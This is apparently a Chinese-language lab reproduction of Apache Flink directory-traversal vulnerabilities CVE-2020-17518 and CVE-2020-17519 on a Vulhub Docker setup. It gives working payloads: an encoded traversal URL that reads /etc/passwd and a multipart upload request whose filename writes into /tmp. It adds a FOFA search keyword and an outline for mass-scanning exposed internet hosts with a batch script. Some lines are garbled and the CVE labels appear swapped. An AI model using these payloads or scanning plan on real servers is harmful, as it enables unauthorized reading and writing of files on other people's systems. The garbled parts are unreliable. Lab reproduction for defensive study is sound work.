CVE-2020-17518复现
0x01 漏洞描述
Apache Flink目录遍历漏洞,可通过REST API读/写远程文件
0x02 影响版本
Flink 1.5.1-1.11.2
0x03 复现过程
- 通过Vulhub复现:
下载链接:
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
用dcker-cmose配置关环境docker-compo
2. 使用docker-compose配置相关环境docker-compose up -d
3. 运行docker ps查看当前环境
4. 浏览器访问http://127.0.0.1:8081/
5. 构造exp:
代码语言:javascript复制http://127.0.0.1:8081/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
6. 清理环境
docker-compose down
0x04 fofa关键字
代码语言:javascript复制app="APACHE-Flink"
CVE-2020-17519复现
0x05 构造数据包
复现步骤与18相同,直接构造数据包
代码语言:javascript复制POST /jars/upload HTTP/1.1
Host: 127001:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
返回400
直接访问:
代码语言:javascript复制http://127.0.0.1:8081/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsuccess
0x06 修复建议
直接升级到安全版本 Flink 1.11.3或Flink 1.12.0
0x07 批量脚本编写思路
- 先fofa shodan刷一波,去重
- 构造相关exp脚本进行测试即可
- 脚本构造很简单,基本没啥难度,在这里就不提供了,太忙了